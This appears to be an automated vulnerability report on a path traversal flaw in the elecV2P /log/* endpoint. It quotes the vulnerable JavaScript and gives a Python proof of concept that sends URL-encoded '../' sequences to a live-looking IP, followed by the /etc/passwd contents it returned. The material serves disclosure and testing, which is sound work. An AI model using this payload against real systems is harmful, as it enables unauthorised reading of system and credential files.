The /log/* endpoint requires no authentication and passes the wildcard parameter directly to path.join(CONFIG_LOG.logspath, filename) without sanitization. URL-encoded ./.. sequences escape the logs directory, allowing any file to be read. Confirmed by retrieving /etc/passwd.
// source-code/elecV2P-master/webser/wblogs.js#L82C21-L103C4
82→ app.get('/log/*', (req, res) => {
83→ const filename = req.params[0].replace(/\/$/, '')
84→ clog.info(req.ip, 'get log', filename)
85→ const logcont = LOGFILE.get(filename)
86→ if (logcont) {
87→ res.writeHead(200, {
88→ 'Content-Type': 'text/html;charset=utf-8'
89→ })
90→ logcont.on('data', (chunk) => {
91→ res.write(escapeHtml(chunk.toString()))
92→ })
93→ logcont.on('close', () => res.end())
94→ logcont.on('error', (err) => {
95→ res.end(err)
96→ })
97→ } else {
98→ res.status(404).json({
99→ rescode: 404,
100→ message: `log ${filename} not exist`
101→ })
102→ }
103→ })
// source-code/elecV2P-master/utils/logger.js#L234C3-L256C4
234→ get(filename) {
235→ if (!filename) {
236→ return
237→ }
238→ filename = filename.trim()
239→ if (filename === 'all') {
240→ return require('./file.js').file.list({
241→ folder: CONFIG_LOG.logspath,
242→ ext: ['.log']
243→ })
244→ }
245→ let logfpath = path.join(CONFIG_LOG.logspath, filename)
246→ if (fs.existsSync(logfpath)) {
247→ if (fs.statSync(logfpath).isDirectory()) {
248→ return require('./file.js').file.list({
249→ folder: logfpath,
250→ ext: ['.log']
251→ })
252→ }
253→ return fs.createReadStream(logfpath)
254→ }
255→ clog.info(filename, 'not exist')
256→ },
import re
import requests
from requests.sessions import Session
from urllib.parse import urlparse
def match_api_pattern(pattern, path) -> bool:
"""
Match an API endpoint pattern with a given path.
This function supports multiple path parameter syntaxes used by different web frameworks:
- Curly braces: '/users/{id}' (OpenAPI, Flask, Django)
- Angle brackets: '/users/<int:id>' (Flask with converters)
- Colon syntax: '/users/:id' (Express, Koa, Sinatra)
- Regex patterns: '/users/{id:[0-9]+}' (Spring, JAX-RS)
Note: This function performs structural matching only and doesn't validate param types or regex constraints.
Args:
pattern (str): The endpoint pattern with parameter placeholders
path (str): The actual path to match
Returns:
bool: True if the path structurally matches the pattern, otherwise False
"""
pattern = pattern.strip() or '/'
path = path.strip() or '/'
if pattern == path:
return True
# Replace various parameter syntaxes with regex pattern [^/]+ (one or more non-slash characters)
# Support for {param} and {param:regex} syntax (OpenAPI, Spring, JAX-RS)
pattern = re.sub(r'\{[\w:()\[\].\-\\+*]+}', r'[^/]+', pattern)
# Support for <param> and <type:param> syntax (Flask with converters)
pattern = re.sub(r'<[\w:()\[\].\-\\+*]+>', r'[^/]+', pattern)
# Support for :param syntax (Express, Koa, Sinatra)
pattern = re.sub(r':[\w:()\[\].\-\\+*]+', r'[^/]+', pattern)
# Add start and end anchors to ensure full match
pattern = f'^{pattern}$'
match = re.match(pattern, path)
if match:
return True
return False
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
if match_api_pattern('/log//etc/passwd', urlparse(url).path):
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
else:
headers = headers or {}
headers.update({'User-Agent': 'oxpecker'})
timeout = 30
return super().request(
method=method,
url=url,
params=params,
data=data,
headers=headers,
cookies=cookies,
files=files,
auth=auth,
timeout=timeout,
allow_redirects=allow_redirects,
proxies=proxies,
hooks=hooks,
stream=stream,
verify=verify,
cert=cert,
json=json,
)
requests.Session = CustomSession
requests.sessions.Session = CustomSession
# ********************************* Poc Start **********************************
import requests
# Define the target URL and the payload
target_url = "http://34.127.19.15:42863/log/"
payload = '.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/.%2E/etc/passwd'
# Craft the full URL with the payload
full_url = f"{target_url}{payload}"
# Send the GET request to the target
response = requests.get(full_url, verify=False)
# Print the results
print("Status Code:", response.status_code)
print("Text:", response.text)
# ********************************** Poc End ***********************************
Status Code: 200
Response Text: root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
Summary
The /log/* endpoint requires no authentication and passes the wildcard parameter directly to path.join(CONFIG_LOG.logspath, filename) without sanitization. URL-encoded ./.. sequences escape the logs directory, allowing any file to be read. Confirmed by retrieving /etc/passwd.
Details
POC